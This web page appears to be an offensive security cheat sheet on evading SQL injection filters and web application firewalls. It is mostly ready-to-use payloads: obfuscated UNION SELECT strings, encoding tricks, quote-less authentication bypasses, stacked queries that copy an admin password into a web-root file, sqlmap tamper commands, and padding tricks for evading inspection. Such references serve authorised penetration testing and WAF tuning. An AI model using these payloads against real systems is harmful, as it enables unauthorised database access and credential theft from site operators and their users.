Skip to content

SQLi Filter & WAF Bypasses

When a payload is rejected, the application is filtering input or a WAF is sitting in front. The fix is rarely a single trick - chain multiple obfuscations until something gets through.

-- Case manipulation
SeLeCt UnIoN
-- Inline comments
SEL/**/ECT UN/**/ION
SE%00LECT (null byte)
/*!50000SELECT*/ (MySQL versioned comment)
-- Encoding
%27 (URL-encoded ')
%2527 (double URL-encoded)
0x61646d696e (hex literal for "admin")
CHAR(97,100,109,105,110) (char codes for "admin")
-- Whitespace alternatives
%09 (tab) %0A (LF) %0B (VT) %0C (FF) %0D (CR) %A0 (NBSP) %20 (space)
/**/ (comment as separator)
+ (in URL context)
-- Keyword alternatives
&& || instead of AND/OR
= LIKE
!= <> NOT IN

Filters and WAFs operate at different layers:

LayerWhat it doesWhat bypasses it
Input validation (regex blocklist)Rejects strings matching patternsEncoding, case, comments, alt keywords
WAF (signature-based)Pattern-matches known SQLi shapesRestructuring queries, encoding, fragmenting
WAF (positive model)Only allows expected charactersHard to bypass; look for unprotected endpoints
Type castingForces input to intFind a string-typed parameter instead
Parameterised queriesTreats input as dataNot bypassable; find another sink

Most signature-based filters are case-insensitive, but some aren’t (especially custom blocklists):

SELECTSeLeCt sElEcT SELECt
UNIONUnIoN uNiOn
WHEREWhErE

Test by sending the same payload in mixed case. If it works in mixed but not in lowercase, the filter is case-sensitive.

Comments inside keywords break naive blocklists:

-- MySQL inline comments
UN/**/ION SE/**/LECT
/**/UNION/**/SELECT/**/
-- MySQL versioned comment (executed only in MySQL)
/*!UNION*/ /*!SELECT*/
/*!50000UNION*/ /*!50000SELECT*/ -- version-gated to MySQL >= 5.0.0
-- All DBMS line comment
SELECT-- comment
FROM users

When spaces are stripped or trigger detection:

SubstituteNotes
/**/Inline C-style comment, treated as whitespace
+URL space encoding
%09 (tab)Often unfiltered
%0A (LF), %0D (CR)Newlines
%0B (VT), %0C (FF)Less common, often unfiltered
%A0 (NBSP)Non-breaking space
()Wrap operands to remove space need

Example without spaces:

'/**/UNION/**/SELECT/**/NULL,user(),NULL/**/FROM/**/dual-- -
'UNION(SELECT(NULL),(user()),(NULL))-- -

The second form uses parens instead of spaces entirely.

URL encoding is the first try; double-encoding catches WAFs that decode once and then check:

' → %27 → %2527
" → %22 → %2522
= → %3D → %253D

Other encodings:

-- MySQL hex literal (for strings)
WHERE username = 0x61646d696e -- "admin"
WHERE username = 0x61646D696E
-- char-by-char
WHERE username = CHAR(97,100,109,105,110)
WHERE username = CONCAT(CHAR(97),CHAR(100))
-- Unicode in some contexts
%u0027 (some old IIS / .NET stacks)

For strings, 0x... (MySQL/MSSQL) and CHR(N) (Oracle, PostgreSQL) sidestep quote filtering entirely:

-- Original
' OR username = 'admin
-- Without quotes
' OR username = 0x61646d696e
' OR username = CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))

When specific keywords are blocked:

BlockedTry instead
AND&& (MySQL), %26%26
OR||, %7C%7C (PostgreSQL/Oracle/SQLite/MySQL with PIPES_AS_CONCAT off)
=LIKE (with no wildcards behaves like =), <=> (MySQL null-safe equal), BETWEEN x AND x
SUBSTRINGMID(), SUBSTR(), LEFT(), RIGHT()
CONCAT|| concat, + concat (MSSQL), CONCAT_WS
SLEEPBENCHMARK(10000000, MD5(1)) (MySQL), heavy-query alternatives
UNION SELECTUNION ALL SELECT, versioned comment wrap
information_schemamysql.innodb_table_stats (MySQL), pg_class (PostgreSQL), sys.tables (MSSQL)
database()schema(), @@database
-- Original blocked
1 OR 1=1
1' OR '1'='1
-- Alternatives
1 OR 2=2
1 OR true
1 OR 0x01=0x01
1 OR 'a' LIKE 'a'
1 OR 1 BETWEEN 0 AND 2
1 || 1=1
1 %7C%7C 1=1

Some inputs are truncated to N characters. Restructure to fit:

-- Long form (50+ chars)
' UNION SELECT username,password FROM users WHERE id=1-- -
-- Compact form
' UNION SELECT * FROM users-- -
'OR/**/1-- -

Or use stacked queries to set up state first:

'; SET @x=(SELECT password FROM users WHERE username='admin')-- -
-- (next request)
'; SELECT @x INTO OUTFILE '/var/www/html/p.txt'-- -

When ' and " are stripped or escaped:

-- Hex literal - no quotes needed
' OR username=0x61646d696e
-- char codes
' OR username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))
-- Numeric injection (when the parameter is unquoted)
1 OR id=(SELECT id FROM users WHERE username=0x61646d696e)

If the application escapes ' to \', try a backslash to escape the escape:

-- Original input becomes: WHERE x='\''
-- Better: append your own backslash
\' OR 1=1-- -
-- App sees \' (escaped backslash) followed by ', which terminates the string

This works against naive addslashes() implementations on multi-byte charsets.

sqlmap ships with tamper scripts that automate common bypasses:

Terminal window
sqlmap -u "https://<TARGET>/page?id=1" --tamper=between,randomcase,space2comment

Useful tamper scripts:

ScriptEffect
space2commentReplaces spaces with /**/
space2plusReplaces spaces with +
space2randomblankRandom whitespace chars
randomcaseRandomises keyword case
betweenReplaces > with NOT BETWEEN 0 AND
charencodeURL-encodes all chars
charunicodeencodeUnicode-encodes
apostrophenullencode'%00%27
equaltolikeReplaces = with LIKE
versionedmorekeywordsWraps keywords in /*!50000...*/
modsecurityversionedModSecurity-targeted versioned comment

List all: sqlmap --list-tampers. Combine multiple with commas.

Send a deliberately malformed payload and observe:

ResponseMeaning
Application error pageApp-level rejection (custom validation)
Generic “Forbidden” / “Bad Request” / 403WAF rejection
HTTP 200 with normal page (no injection)Input silently stripped
HTTP 200 with sanitised input echoed backInput modified by the app
Connection resetAggressive WAF or IPS
  • Bypass discovery is often more art than science. Stack obfuscations: case + comments + encoding + alternate keywords often beats filters that block any single technique.
  • If you can’t bypass the WAF, look for unprotected endpoints - internal APIs, admin panels, second-order injection points where the storage path is filtered but the trigger path is not.
  • Some WAFs only inspect the first N bytes of a request. Padding the payload with thousands of safe characters before the injection occasionally bypasses byte-limited inspection.
  • Time spent bypassing a strong WAF is sometimes better spent looking for a different vulnerability class. WAFs rarely cover everything; an XSS or SSRF on the same target is often easier to find than an SQLi bypass.